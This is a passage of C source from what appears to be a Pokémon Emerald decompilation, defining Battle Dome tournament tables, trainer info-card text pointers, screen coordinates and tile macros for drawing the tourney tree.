[BATTLE_DOME_FUNC_REDUCE_PARTY] = ReduceDomePlayerPartyToSelectedMons, [BATTLE_DOME_FUNC_COMPARE_SEEDS] = GetPlayerSeededBeforeOpponent, [BATTLE_DOME_FUNC_GET_WINNER_NAME] = BufferLastDomeWinnerName, [BATTLE_DOME_FUNC_INIT_RESULTS_TREE] = InitRandomTourneyTreeResults, [BATTLE_DOME_FUNC_INIT_TRAINERS] = InitDomeTrainers, }; static const u32 sWinStreakFlags[][2] = { {STREAK_DOME_SINGLES_50, STREAK_DOME_SINGLES_OPEN}, {STREAK_DOME_DOUBLES_50, STREAK_DOME_DOUBLES_OPEN}, }; static const u32 sWinStreakMasks[][2] = { {~(STREAK_DOME_SINGLES_50), ~(STREAK_DOME_SINGLES_OPEN)}, {~(STREAK_DOME_DOUBLES_50), ~(STREAK_DOME_DOUBLES_OPEN)}, }; // TODO: The below two arrays probably need better names. The one below for example is only true of sIdToOpponentId[i][0] static const u8 sIdToOpponentId[DOME_TOURNAMENT_TRAINERS_COUNT][DOME_ROUNDS_COUNT] = { [0] = { 8, 0, 4, 8}, [1] = { 9, 12, 8, 0}, [2] = {10, 8, 12, 0}, [3] = {11, 4, 0, 8}, [4] = {12, 0, 4, 8}, [5] = {13, 12, 8, 0}, [6] = {14, 8, 12, 0}, [7] = {15, 4, 0, 8}, [8] = { 0, 0, 4, 8}, [9] = { 1, 12, 8, 0}, [10] = { 2, 8, 12, 0}, [11] = { 3, 4, 0, 8}, [12] = { 4, 0, 4, 8}, [13] = { 5, 12, 8, 0}, [14] = { 6, 8, 12, 0}, [15] = { 7, 4, 0, 8}, }; // sTourneyTreeTrainerIds with every other pair swapped static const u8 sTourneyTreeTrainerOpponentIds[DOME_TOURNAMENT_TRAINERS_COUNT] = { 0, 8, 4, 12, 7, 15, 3, 11, 2, 10, 6, 14, 5, 13, 1, 9 }; // The match number - 1 that a given tournament trainer will participate in for a given round static const u8 sIdToMatchNumber[DOME_TOURNAMENT_TRAINERS_COUNT][DOME_ROUNDS_COUNT] = { { 0, 8, 12, 14}, { 0, 8, 12, 14}, { 1, 8, 12, 14}, { 1, 8, 12, 14}, { 2, 9, 12, 14}, { 2, 9, 12, 14}, { 3, 9, 12, 14}, { 3, 9, 12, 14}, { 4, 10, 13, 14}, { 4, 10, 13, 14}, { 5, 10, 13, 14}, { 5, 10, 13, 14}, { 6, 11, 13, 14}, { 6, 11, 13, 14}, { 7, 11, 13, 14}, { 7, 11, 13, 14}, }; static const u8 sLastMatchCardNum[DOME_ROUNDS_COUNT] = { [DOME_ROUND1] = 23, [DOME_ROUND2] = 27, [DOME_SEMIFINAL] = 29, [DOME_FINAL] = 30 }; static const u8 sTrainerAndRoundToLastMatchCardNum[DOME_TOURNAMENT_TRAINERS_COUNT / 2][DOME_ROUNDS_COUNT] = { {16, 24, 28, 30}, {17, 24, 28, 30}, {18, 25, 28, 30}, {19, 25, 28, 30}, {20, 26, 29, 30}, {21, 26, 29, 30}, {22, 27, 29, 30}, {23, 27, 29, 30}, }; static const u8 sTournamentIdToPairedTrainerIds[DOME_TOURNAMENT_TRAINERS_COUNT] = {0, 15, 8, 7, 3, 12, 11, 4, 1, 14, 9, 6, 2, 13, 10, 5}; // The first line of text on a trainers info card. It describes their potential to win, based on their seed in the tournament tree. // Dome Ace Tucker has their own separate potential text. static const u8 *const sBattleDomePotentialTexts[DOME_TOURNAMENT_TRAINERS_COUNT + 1] = { BattleDome_Text_Potential1, // Highest potential BattleDome_Text_Potential2, BattleDome_Text_Potential3, BattleDome_Text_Potential4, BattleDome_Text_Potential5, BattleDome_Text_Potential6, BattleDome_Text_Potential7, BattleDome_Text_Potential8, BattleDome_Text_Potential9, BattleDome_Text_Potential10, BattleDome_Text_Potential11, BattleDome_Text_Potential12, BattleDome_Text_Potential13, BattleDome_Text_Potential14, BattleDome_Text_Potential15, BattleDome_Text_Potential16, // Lowest potential BattleDome_Text_PotentialDomeAceTucker, }; // The second line of text on a trainers info card. It gives information about their battle style (dependent on their party's moves). static const u8 *const sBattleDomeOpponentStyleTexts[NUM_BATTLE_STYLES] = { [DOME_BATTLE_STYLE_RISKY] = BattleDome_Text_StyleRiskDisaster, [DOME_BATTLE_STYLE_STALL] = BattleDome_Text_StyleEndureLongBattles, [DOME_BATTLE_STYLE_VARIED] = BattleDome_Text_StyleVariesTactics, [DOME_BATTLE_STYLE_COMBO_HIGH] = BattleDome_Text_StyleToughWinningPattern, [DOME_BATTLE_STYLE_RARE_MOVES] = BattleDome_Text_StyleUsesVeryRareMove, // Seems like the text for these two was swapped [DOME_BATTLE_STYLE_RARE_MOVE] = BattleDome_Text_StyleUsesStartlingMoves, // [DOME_BATTLE_STYLE_HP] = BattleDome_Text_StyleConstantlyWatchesHP, [DOME_BATTLE_STYLE_STORE_POWER] = BattleDome_Text_StyleStoresAndLoosesPower, [DOME_BATTLE_STYLE_ENFEEBLE_LOW] = BattleDome_Text_StyleEnfeeblesFoes, [DOME_BATTLE_STYLE_LUCK] = BattleDome_Text_StylePrefersLuckTactics, [DOME_BATTLE_STYLE_REGAL] = BattleDome_Text_StyleRegalAtmosphere, [DOME_BATTLE_STYLE_LOW_PP] = BattleDome_Text_StylePowerfulLowPPMoves, [DOME_BATTLE_STYLE_STATUS_ATK] = BattleDome_Text_StyleEnfeebleThenAttack, [DOME_BATTLE_STYLE_ENDURE] = BattleDome_Text_StyleBattlesWhileEnduring, [DOME_BATTLE_STYLE_STATUS] = BattleDome_Text_StyleUpsetsFoesEmotionally, [DOME_BATTLE_STYLE_STRAIGHTFORWARD] = BattleDome_Text_StyleStrongAndStraightforward, [DOME_BATTLE_STYLE_AGGRESSIVE] = BattleDome_Text_StyleAggressivelyStrongMoves, [DOME_BATTLE_STYLE_DEF] = BattleDome_Text_StyleCleverlyDodgesAttacks, [DOME_BATTLE_STYLE_ENFEEBLE_HIGH] = BattleDome_Text_StyleUsesUpsettingMoves, [DOME_BATTLE_STYLE_POPULAR_POWER] = BattleDome_Text_StyleUsesPopularMoves, [DOME_BATTLE_STYLE_COMBO_LOW] = BattleDome_Text_StyleHasPowerfulComboMoves, [DOME_BATTLE_STYLE_ACCURATE] = BattleDome_Text_StyleUsesHighProbabilityMoves, [DOME_BATTLE_STYLE_POWERFUL] = BattleDome_Text_StyleAggressivelySpectacularMoves, [DOME_BATTLE_STYLE_ATK_OVER_DEF] = BattleDome_Text_StyleEmphasizesOffenseOverDefense, [DOME_BATTLE_STYLE_DEF_OVER_ATK] = BattleDome_Text_StyleEmphasizesDefenseOverOffense, [DOME_BATTLE_STYLE_POPULAR_STRONG] = BattleDome_Text_StyleAttacksQuicklyStrongMoves, [DOME_BATTLE_STYLE_EFFECTS] = BattleDome_Text_StyleUsesAddedEffectMoves, [DOME_BATTLE_STYLE_BALANCED] = BattleDome_Text_StyleUsesBalancedMixOfMoves, [DOME_BATTLE_STYLE_UNUSED1] = BattleDome_Text_StyleSampleMessage1, [DOME_BATTLE_STYLE_UNUSED2] = BattleDome_Text_StyleSampleMessage2, [DOME_BATTLE_STYLE_UNUSED3] = BattleDome_Text_StyleSampleMessage3, [DOME_BATTLE_STYLE_UNUSED4] = BattleDome_Text_StyleSampleMessage4, }; // The third line of text on a trainers info card. It that gives information about their party's stat spread (based on their Pokémon's effort values and Nature). static const u8 *const sBattleDomeOpponentStatsTexts[] = { BattleDome_Text_EmphasizesHPAndAtk, // DOME_TEXT_TWO_GOOD_STATS and DOME_TEXT_HP start here BattleDome_Text_EmphasizesHPAndDef, BattleDome_Text_EmphasizesHPAndSpeed, BattleDome_Text_EmphasizesHPAndSpAtk, BattleDome_Text_EmphasizesHPAndSpDef, BattleDome_Text_EmphasizesAtkAndDef, // DOME_TEXT_ATK starts here BattleDome_Text_EmphasizesAtkAndSpeed, BattleDome_Text_EmphasizesAtkAndSpAtk, BattleDome_Text_EmphasizesAtkAndSpDef, BattleDome_Text_EmphasizesDefAndSpeed, // DOME_TEXT_DEF starts here BattleDome_Text_EmphasizesDefAndSpAtk, BattleDome_Text_EmphasizesDefAndSpDef, BattleDome_Text_EmphasizesSpeedAndSpAtk, // DOME_TEXT_SPEED starts here BattleDome_Text_EmphasizesSpeedAndSpDef, BattleDome_Text_EmphasizesSpAtkAndSpDef, // DOME_TEXT_SPATK starts here BattleDome_Text_EmphasizesHP, // DOME_TEXT_ONE_GOOD_STAT starts here BattleDome_Text_EmphasizesAtk, BattleDome_Text_EmphasizesDef, BattleDome_Text_EmphasizesSpeed, BattleDome_Text_EmphasizesSpAtk, BattleDome_Text_EmphasizesSpDef, BattleDome_Text_NeglectsHPAndAtk, // DOME_TEXT_TWO_BAD_STATS starts here BattleDome_Text_NeglectsHPAndDef, BattleDome_Text_NeglectsHPAndSpeed, BattleDome_Text_NeglectsHPAndSpAtk, BattleDome_Text_NeglectsHPAndSpDef, BattleDome_Text_NeglectsAtkAndDef, BattleDome_Text_NeglectsAtkAndSpeed, BattleDome_Text_NeglectsAtkAndSpAtk, BattleDome_Text_NeglectsAtkAndSpDef, BattleDome_Text_NeglectsDefAndSpeed, BattleDome_Text_NeglectsDefAndSpAtk, BattleDome_Text_NeglectsDefAndSpDef, BattleDome_Text_NeglectsSpeedAndSpAtk, BattleDome_Text_NeglectsSpeedAndSpDef, BattleDome_Text_NeglectsSpAtkAndSpDef, BattleDome_Text_NeglectsHP, // DOME_TEXT_ONE_BAD_STAT starts here BattleDome_Text_NeglectsAtk, BattleDome_Text_NeglectsDef, BattleDome_Text_NeglectsSpeed, BattleDome_Text_NeglectsSpAtk, BattleDome_Text_NeglectsSpDef, [DOME_TEXT_WELL_BALANCED] = BattleDome_Text_RaisesMonsWellBalanced, }; static const u8 sInfoTrainerMonX[FRONTIER_PARTY_SIZE] = {104, 136, 104}; static const u8 sInfoTrainerMonY[FRONTIER_PARTY_SIZE] = { 38, 62, 78}; static const u8 sSpeciesNameTextYCoords[] = {0, 4, 0}; // Offsets within sBattleDomeOpponentStatsTexts for stat combinations // SPDEF has no offset because by then all stat combinations have been reached, so it has no combination texts static const u8 sStatTextOffsets[NUM_STATS - 1] = { DOME_TEXT_HP, DOME_TEXT_ATK, DOME_TEXT_DEF, DOME_TEXT_SPEED, DOME_TEXT_SPATK }; static const u8 *const sBattleDomeMatchNumberTexts[DOME_TOURNAMENT_MATCHES_COUNT] = { BattleDome_Text_Round1Match1, BattleDome_Text_Round1Match2, BattleDome_Text_Round1Match3, BattleDome_Text_Round1Match4, BattleDome_Text_Round1Match5, BattleDome_Text_Round1Match6, BattleDome_Text_Round1Match7, BattleDome_Text_Round1Match8, BattleDome_Text_Round2Match1, BattleDome_Text_Round2Match2, BattleDome_Text_Round2Match3, BattleDome_Text_Round2Match4, BattleDome_Text_SemifinalMatch1, BattleDome_Text_SemifinalMatch2, BattleDome_Text_FinalMatch, }; static const u8 *const sBattleDomeWinTexts[] = { [DOME_TEXT_NO_WINNER_YET] = BattleDome_Text_LetTheBattleBegin, [DOME_TEXT_WON_USING_MOVE] = BattleDome_Text_TrainerWonUsingMove, [DOME_TEXT_CHAMP_USING_MOVE] = BattleDome_Text_TrainerBecameChamp, [DOME_TEXT_WON_ON_FORFEIT] = BattleDome_Text_TrainerWonByDefault, [DOME_TEXT_CHAMP_ON_FORFEIT] = BattleDome_Text_TrainerWonOutrightByDefault, [DOME_TEXT_WON_NO_MOVES] = BattleDome_Text_TrainerWonNoMoves, [DOME_TEXT_CHAMP_NO_MOVES] = BattleDome_Text_TrainerWonOutrightNoMoves, }; static const u8 sLeftTrainerMonX[FRONTIER_PARTY_SIZE] = { 96, 96, 96}; static const u8 sLeftTrainerMonY[FRONTIER_PARTY_SIZE] = { 56, 80, 104}; static const u8 sRightTrainerMonX[FRONTIER_PARTY_SIZE] = {144, 144, 144}; static const u8 sRightTrainerMonY[FRONTIER_PARTY_SIZE] = { 56, 80, 104}; // Duplicate of sTourneyTreeTrainerIds static const u8 sTourneyTreeTrainerIds2[DOME_TOURNAMENT_TRAINERS_COUNT] = {0, 8, 12, 4, 7, 15, 11, 3, 2, 10, 14, 6, 5, 13, 9, 1}; // The number of possible trainers that could be competing in a given match #define NUM_POSSIBLE_MATCH_TRAINERS(round) (DOME_TOURNAMENT_TRAINERS_COUNT / (1 << (DOME_ROUNDS_COUNT - round - 1))) // The range of tournament trainers to check as possible participants in a given match // Given by the offset in sCompetitorRangeByMatch[][0], the number of trainers in sCompetitorRangeByMatch[][1], and the round static const u8 sCompetitorRangeByMatch[DOME_TOURNAMENT_MATCHES_COUNT][3] = { { NUM_POSSIBLE_MATCH_TRAINERS(DOME_ROUND1) * 0, NUM_POSSIBLE_MATCH_TRAINERS(DOME_ROUND1), DOME_ROUND1}, { NUM_POSSIBLE_MATCH_TRAINERS(DOME_ROUND1) * 1, NUM_POSSIBLE_MATCH_TRAINERS(DOME_ROUND1), DOME_ROUND1}, { NUM_POSSIBLE_MATCH_TRAINERS(DOME_ROUND1) * 2, NUM_POSSIBLE_MATCH_TRAINERS(DOME_ROUND1), DOME_ROUND1}, { NUM_POSSIBLE_MATCH_TRAINERS(DOME_ROUND1) * 3, NUM_POSSIBLE_MATCH_TRAINERS(DOME_ROUND1), DOME_ROUND1}, { NUM_POSSIBLE_MATCH_TRAINERS(DOME_ROUND1) * 4, NUM_POSSIBLE_MATCH_TRAINERS(DOME_ROUND1), DOME_ROUND1}, { NUM_POSSIBLE_MATCH_TRAINERS(DOME_ROUND1) * 5, NUM_POSSIBLE_MATCH_TRAINERS(DOME_ROUND1), DOME_ROUND1}, { NUM_POSSIBLE_MATCH_TRAINERS(DOME_ROUND1) * 6, NUM_POSSIBLE_MATCH_TRAINERS(DOME_ROUND1), DOME_ROUND1}, { NUM_POSSIBLE_MATCH_TRAINERS(DOME_ROUND1) * 7, NUM_POSSIBLE_MATCH_TRAINERS(DOME_ROUND1), DOME_ROUND1}, { NUM_POSSIBLE_MATCH_TRAINERS(DOME_ROUND2) * 0, NUM_POSSIBLE_MATCH_TRAINERS(DOME_ROUND2), DOME_ROUND2}, { NUM_POSSIBLE_MATCH_TRAINERS(DOME_ROUND2) * 1, NUM_POSSIBLE_MATCH_TRAINERS(DOME_ROUND2), DOME_ROUND2}, { NUM_POSSIBLE_MATCH_TRAINERS(DOME_ROUND2) * 2, NUM_POSSIBLE_MATCH_TRAINERS(DOME_ROUND2), DOME_ROUND2}, { NUM_POSSIBLE_MATCH_TRAINERS(DOME_ROUND2) * 3, NUM_POSSIBLE_MATCH_TRAINERS(DOME_ROUND2), DOME_ROUND2}, { NUM_POSSIBLE_MATCH_TRAINERS(DOME_SEMIFINAL) * 0, NUM_POSSIBLE_MATCH_TRAINERS(DOME_SEMIFINAL), DOME_SEMIFINAL}, { NUM_POSSIBLE_MATCH_TRAINERS(DOME_SEMIFINAL) * 1, NUM_POSSIBLE_MATCH_TRAINERS(DOME_SEMIFINAL), DOME_SEMIFINAL}, { NUM_POSSIBLE_MATCH_TRAINERS(DOME_FINAL) * 0, NUM_POSSIBLE_MATCH_TRAINERS(DOME_FINAL), DOME_FINAL}, }; // 1st value is the windowId (0 for left column, 1 for right column) // 2nd value is the y coord static const u8 sTrainerNamePositions[DOME_TOURNAMENT_TRAINERS_COUNT][2] = { { 0, 0}, { 1, 112}, { 1, 0}, { 0, 112}, { 0, 48}, { 1, 64}, { 1, 48}, { 0, 64}, { 0, 16}, { 1, 96}, { 1, 16}, { 0, 96}, { 0, 32}, { 1, 80}, { 1, 32}, { 0, 80}, }; // Coords for the pokeballs on the tourney tree that act as buttons to view trainer/match info static const u8 sTourneyTreePokeballCoords[DOME_TOURNAMENT_TRAINERS_COUNT + DOME_TOURNAMENT_MATCHES_COUNT][2] = { { 68, 33}, // Left side trainers { 68, 49}, { 68, 65}, { 68, 81}, { 68, 97}, { 68, 113}, { 68, 129}, { 68, 145}, {172, 33}, // Right side trainers {172, 49}, {172, 65}, {172, 81}, {172, 97}, {172, 113}, {172, 129}, {172, 145}, { 87, 41}, // Left side Round 1 matches { 87, 73}, { 87, 105}, { 87, 137}, {153, 41}, // Right side Round 1 matches {153, 73}, {153, 105}, {153, 137}, { 95, 57}, // Left side Round 2 matches { 95, 121}, {145, 57}, // Right side Round 2 matches {145, 121}, {103, 89}, // Left side semifinal match {137, 89}, // Right side semifinal match {120, 89}, // Final match }; // Tile values from tourney_tree.png for the highlighted lines of the tourney tree. // These tiles will be used to replace the existing, unhighlighted line tiles on the tourney tree tilemap. #define LINE_PAL (6 << 12) #define LINE_H (LINE_PAL | 0x21) // Horizontal #define LINE_CORNER_R (LINE_PAL | 0x23) // Horizontal into a right-side vertical #define LINE_CORNER_L (LINE_PAL | 0x25) // Horizontal into a left-side vertical #define LINE_V_R (LINE_PAL | 0x27) // Right-side vertical #define LINE_V_L (LINE_PAL | 0x29) // Left-side vertical #define LINE_H_BOTTOM (LINE_PAL | 0x2B) // Horizontal on the bottom of the tree #define LINE_H_LOGO1 (LINE_PAL | 0x2C) // Horizontal, logo behind #define LINE_H_LOGO2 (LINE_PAL | 0x2D) // Horizontal, logo behind #define LINE_H_LOGO3 (LINE_PAL | 0x2E) // Horizontal, logo behind #define LINE_H_LOGO4 (LINE_PAL | 0x2F) // Horizontal, logo behind #define LINE_V_R_LOGO1 (LINE_PAL | 0x30) // Right-side vertical, logo behind #define LINE_V_R_LOGO2 (LINE_PAL | 0x31) // Right-side vertical, logo behind #define LINE_V_R_LOGO3 (LINE_PAL | 0x32) // Right-side vertical, logo behind #define LINE_V_R_LOGO4 (LINE_PAL | 0x33) // Right-side vertical, logo behind #define LINE_V_L_LOGO1 (LINE_PAL | 0x35) // Left-side vertical, logo behind #define LINE_V_L_LOGO2 (LINE_PAL | 0x36) // Left-side vertical, logo behind #define LINE_V_L_LOGO3 (LINE_PAL | 0x37) // Left-side vertical, logo behind #define LINE_V_L_LOGO4 (LINE_PAL | 0x38) // Left-side vertical, logo behind #define LINE_V_R_HALF_LOGO (LINE_PAL | 0x3B) // Right-side vertical, half lit from the top, logo behind #define LINE_V_L_HALF_LOGO (LINE_PAL | 0x3C) // Left-side vertical, half lit from the top, logo behind #define LINE_CORNER_R_HALF (LINE_PAL | 0x43) // Lit horizontal, unlit right-side vertical #define LINE_CORNER_L_HALF (LINE_PAL | 0x45) // Lit horizontal, unlit left-side vertical #define LINE_V_R_HALF (LINE_PAL | 0x47) // Right-side vertical, half lit from the top #define LINE_V_L_HALF (LINE_PAL | 0x49) // Left-side vertical, half lit from the top // Each of these line sections define the position of the advancement line on the tourney tree for the victor of that round // The trainers here are numbered by tourney ID (rank/seed) and ordered according to where they start on the tourney tree #define LINESECTION_ROUND1_TRAINER1(lastTile) \ {.tile = LINE_H, .y = 4, .x = 9}, \ {.tile = LINE_CORNER_R, .y = 4, .x = 10}, \ {.tile = LINE_V_R_HALF, .y = 5, .x = 10}, \ {.tile = lastTile, .y = 5, .x = 11}, #define LINESECTION_ROUND1_TRAINER9(lastTile) \ {.tile = LINE_H, .y = 6, .x = 9}, \ {.tile = LINE_H, .y = 6, .x = 10}, \ {.tile = LINE_V_R, .y = 5, .x = 10}, \ {.tile = lastTile, .y = 5, .x = 11}, #define LINESECTION_ROUND1_TRAINER13(lastTile) \ {.tile = LINE_H, .y = 8, .x = 9}, \ {.tile = LINE_CORNER_R, .y = 8, .x = 10}, \ {.tile = LINE_V_R_HALF, .y = 9, .x = 10}, \ {.tile = lastTile, .y = 9, .x = 11}, #define LINESECTION_ROUND1_TRAINER5(lastTile) \ {.tile = LINE_H, .y = 10, .x = 9}, \ {.tile = LINE_H, .y = 10, .x = 10}, \ {.tile = LINE_V_R, .y = 9, .x = 10}, \ {.tile = lastTile, .y = 9, .x = 11}, #define LINESECTION_ROUND1_TRAINER8(lastTile) \ {.tile = LINE_H, .y = 12, .x = 9}, \ {.tile = LINE_CORNER_R, .y = 12, .x = 10}, \ {.tile = LINE_V_R_HALF, .y = 13, .x = 10}, \ {.tile = lastTile, .y = 13, .x = 11}, #define LINESECTION_ROUND1_TRAINER16(lastTile) \ {.tile = LINE_H, .y = 14, .x = 9}, \ {.tile = LINE_H, .y = 14, .x = 10}, \ {.tile = LINE_V_R, .y = 13, .x = 10}, \ {.tile = lastTile, .y = 13, .x = 11}, #define LINESECTION_ROUND1_TRAINER12(lastTile) \ {.tile = LINE_H, .y = 16, .x = 9}, \ {.tile = LINE_CORNER_R, .y = 16, .x = 10}, \ {.tile = LINE_V_R_HALF, .y = 17, .x = 10}, \ {.tile = lastTile, .y = 17, .x = 11}, #define LINESECTION_ROUND1_TRAINER4(lastTile) \ {.tile = LINE_H_BOTTOM, .y = 18, .x = 9}, \ {.tile = LINE_H_BOTTOM, .y = 18, .x = 10}, \ {.tile = LINE_V_R, .y = 17, .x = 10}, \ {.tile = lastTile, .y = 17, .x = 11}, #define LINESECTION_ROUND1_TRAINER3(lastTile) \ {.tile = LINE_H, .y = 4, .x = 20}, \ {.tile = LINE_CORNER_L, .y = 4, .x = 19}, \ {.tile = LINE_V_L_HALF, .y = 5, .x = 19}, \ {.tile = lastTile, .y = 5, .x = 18}, #define LINESECTION_ROUND1_TRAINER11(lastTile) \ {.tile = LINE_H, .y = 6, .x = 20}, \ {.tile = LINE_H, .y = 6, .x = 19}, \ {.tile = LINE_V_L, .y = 5, .x = 19}, \ {.tile = lastTile, .y = 5, .x = 18}, #define LINESECTION_ROUND1_TRAINER15(lastTile) \ {.tile = LINE_H, .y = 8, .x = 20}, \ {.tile = LINE_CORNER_L, .y = 8, .x = 19}, \ {.tile = LINE_V_L_HALF, .y = 9, .x = 19}, \ {.tile = lastTile, .y = 9, .x = 18}, #define LINESECTION_ROUND1_TRAINER7(lastTile) \ {.tile = LINE_H, .y = 10, .x = 20}, \ {.tile = LINE_H, .y = 10, .x = 19}, \ {.tile = LINE_V_L, .y = 9, .x = 19}, \ {.tile = lastTile, .y = 9, .x = 18}, #define LINESECTION_ROUND1_TRAINER6(lastTile) \ {.tile = LINE_H, .y = 12, .x = 20}, \ {.tile = LINE_CORNER_L, .y = 12, .x = 19}, \ {.tile = LINE_V_L_HALF, .y = 13, .x = 19}, \ {.tile = lastTile, .y = 13, .x = 18}, #define LINESECTION_ROUND1_TRAINER14(lastTile) \ {.tile = LINE_H, .y = 14, .x = 20}, \ {.tile = LINE_H, .y = 14, .x = 19}, \ {.tile = LINE_V_L, .y = 13, .x = 19}, \ {.tile = lastTile, .y = 13, .x = 18}, #define LINESECTION_ROUND1_TRAINER10(lastTile) \ {.tile = LINE_H, .y = 16, .x = 20}, \ {.tile = LINE_CORNER_L, .y = 16, .x = 19}, \ {.tile = LINE_V_L_HALF, .y = 17, .x = 19}, \ {.tile = lastTile, .y = 17, .x = 18}, #define LINESECTION_ROUND1_TRAINER2(lastTile) \ {.tile = LINE_H_BOTTOM, .y = 18, .x = 20}, \ {.tile = LINE_H_BOTTOM, .y = 18, .x = 19}, \ {.tile = LINE_V_L, .y = 17, .x = 19}, \ {.tile = lastTile, .y = 17, .x = 18}, #define LINESECTION_ROUND2_MATCH1(lastTile) \ {.tile = LINE_V_R, .y = 6, .x = 11}, \ {.tile = LINE_V_R_HALF, .y = 7, .x = 11}, \ {.tile = lastTile, .y = 7, .x = 12}, #define LINESECTION_ROUND2_MATCH2(lastTile) \ {.tile = LINE_V_R, .y = 8, .x = 11}, \ {.tile = LINE_V_R, .y = 7, .x = 11}, \ {.tile = lastTile, .y = 7, .x = 12}, #define LINESECTION_ROUND2_MATCH3(lastTile) \ {.tile = LINE_V_R, .y = 14, .x = 11}, \ {.tile = LINE_V_R_HALF, .y = 15, .x = 11}, \ {.tile = lastTile, .y = 15, .x = 12}, #define LINESECTION_ROUND2_MATCH4(lastTile) \ {.tile = LINE_V_R, .y = 16, .x = 11}, \ {.tile = LINE_V_R, .y = 15, .x = 11}, \ {.tile = lastTile, .y = 15, .x = 12}, #define LINESECTION_ROUND2_MATCH5(lastTile) \ {.tile = LINE_V_L, .y = 6, .x = 18}, \ {.tile = LINE_V_L_HALF, .y = 7, .x = 18}, \ {.tile = lastTile, .y = 7, .x = 17}, #define LINESECTION_ROUND2_MATCH6(lastTile) \ {.tile = LINE_V_L, .y = 8, .x = 18}, \ {.tile = LINE_V_L, .y = 7, .x = 18}, \ {.tile = lastTile, .y = 7, .x = 17}, #define LINESECTION_ROUND2_MATCH7(lastTile) \ {.tile = LINE_V_L, .y = 14, .x = 18}, \ {.tile = LINE_V_L_HALF, .y = 15, .x = 18}, \ {.tile = lastTile, .y = 15, .x = 17}, #define LINESECTION_ROUND2_MATCH8(lastTile) \ {.tile = LINE_V_L, .y = 16, .x = 18}, \ {.tile = LINE_V_L, .y = 15, .x = 18}, \ {.tile = lastTile, .y = 15, .x = 17}, #define LINESECTION_SEMIFINAL_TOP_LEFT \ {.tile = LINE_V_R, .y = 8, .x = 12}, \ {.tile = LINE_V_R, .y = 9, .x = 12}, \ {.tile = LINE_V_R, .y = 10, .x = 12}, \ {.tile = LINE_V_R_HALF_LOGO, .y = 11, .x = 12}, #define LINESECTION_SEMIFINAL_BOTTOM_LEFT \ {.tile = LINE_V_R_LOGO4, .y = 14, .x = 12}, \ {.tile = LINE_V_R_LOGO3, .y = 13, .x = 12}, \ {.tile = LINE_V_R_LOGO2, .y = 12, .x = 12}, \ {.tile = LINE_V_R_LOGO1, .y = 11, .x = 12}, #define LINESECTION_SEMIFINAL_TOP_RIGHT \ {.tile = LINE_V_L, .y = 8, .x = 17}, \ {.tile = LINE_V_L, .y = 9, .x = 17}, \ {.tile = LINE_V_L, .y = 10, .x = 17}, \ {.tile = LINE_V_L_HALF_LOGO, .y = 11, .x = 17}, #define LINESECTION_SEMIFINAL_BOTTOM_RIGHT \ {.tile = LINE_V_L_LOGO4, .y = 14, .x = 17}, \ {.tile = LINE_V_L_LOGO3, .y = 13, .x = 17}, \ {.tile = LINE_V_L_LOGO2, .y = 12, .x = 17}, \ {.tile = LINE_V_L_LOGO1, .y = 11, .x = 17}, #define LINESECTION_FINAL_LEFT \ {.tile = LINE_H_LOGO1, .y = 11, .x = 13}, \ {.tile = LINE_H_LOGO2, .y = 11, .x = 14}, #define LINESECTION_FINAL_RIGHT \ {.tile = LINE_H_LOGO4, .y = 11, .x = 16}, \ {.tile = LINE_H_LOGO3, .y = 11, .x = 15}, static const struct TourneyTreeLineSection sLineSectionTrainer1Round1[] = { LINESECTION_ROUND1_TRAINER1(LINE_CORNER_R_HALF) }; static const struct TourneyTreeLineSection sLineSectionTrainer1Round2[] = { LINESECTION_ROUND1_TRAINER1(LINE_CORNER_R) LINESECTION_ROUND2_MATCH1(LINE_CORNER_R_HALF) }; static const struct TourneyTreeLineSection sLineSectionTrainer1Semifinal[] = { LINESECTION_ROUND1_TRAINER1(LINE_CORNER_R) LINESECTION_ROUND2_MATCH1(LINE_CORNER_R) LINESECTION_SEMIFINAL_TOP_LEFT }; static const struct TourneyTreeLineSection sLineSectionTrainer1Final[] = { LINESECTION_ROUND1_TRAINER1(LINE_CORNER_R) LINESECTION_ROUND2_MATCH1(LINE_CORNER_R) LINESECTION_SEMIFINAL_TOP_LEFT LINESECTION_FINAL_LEFT }; static const struct TourneyTreeLineSection sLineSectionTrainer9Round1[] = { LINESECTION_ROUND1_TRAINER9(LINE_CORNER_R_HALF) }; static const struct TourneyTreeLineSection sLineSectionTrainer9Round2[] = { LINESECTION_ROUND1_TRAINER9(LINE_CORNER_R) LINESECTION_ROUND2_MATCH1(LINE_CORNER_R_HALF) }; static const struct TourneyTreeLineSection sLineSectionTrainer9Semifinal[] = { LINESECTION_ROUND1_TRAINER9(LINE_CORNER_R) LINESECTION_ROUND2_MATCH1(LINE_CORNER_R) LINESECTION_SEMIFINAL_TOP_LEFT }; static const struct TourneyTreeLineSection sLineSectionTrainer9Final[] = { LINESECTION_ROUND1_TRAINER9(LINE_CORNER_R) LINESECTION_ROUND2_MATCH1(LINE_CORNER_R) LINESECTION_SEMIFINAL_TOP_LEFT LINESECTION_FINAL_LEFT }; static const struct TourneyTreeLineSection sLineSectionTrainer13Round1[] = { LINESECTION_ROUND1_TRAINER13(LINE_H) }; static const struct TourneyTreeLineSection sLineSectionTrainer13Round2[] = { LINESECTION_ROUND1_TRAINER13(LINE_H) LINESECTION_ROUND2_MATCH2(LINE_CORNER_R_HALF) }; static const struct TourneyTreeLineSection sLineSectionTrainer13Semifinal[] = { LINESECTION_ROUND1_TRAINER13(LINE_H) LINESECTION_ROUND2_MATCH2(LINE_CORNER_R) LINESECTION_SEMIFINAL_TOP_LEFT }; static const struct TourneyTreeLineSection sLineSectionTrainer13Final[] = { LINESECTION_ROUND1_TRAINER13(LINE_H) LINESECTION_ROUND2_MATCH2(LINE_CORNER_R) LINESECTION_SEMIFINAL_TOP_LEFT LINESECTION_FINAL_LEFT }; static const struct TourneyTreeLineSection sLineSectionTrainer5Round1[] = { LINESECTION_ROUND1_TRAINER5(LINE_H) }; static const struct TourneyTreeLineSection sLineSectionTrainer5Round2[] = { LINESECTION_ROUND1_TRAINER5(LINE_H) LINESECTION_ROUND2_MATCH2(LINE_CORNER_R_HALF) }; static const struct TourneyTreeLineSection sLineSectionTrainer5Semifinal[] = { LINESECTION_ROUND1_TRAINER5(LINE_H) LINESECTION_ROUND2_MATCH2(LINE_CORNER_R) LINESECTION_SEMIFINAL_TOP_LEFT }; static const struct TourneyTreeLineSection sLineSectionTrainer5Final[] = { LINESECTION_ROUND1_TRAINER5(LINE_H) LINESECTION_ROUND2_MATCH2(LINE_CORNER_R) LINESECTION_SEMIFINAL_TOP_LEFT LINESECTION_FINAL_LEFT }; static const struct TourneyTreeLineSection sLineSectionTrainer8Round1[] = { LINESECTION_ROUND1_TRAINER8(LINE_CORNER_R_HALF) }; static const struct 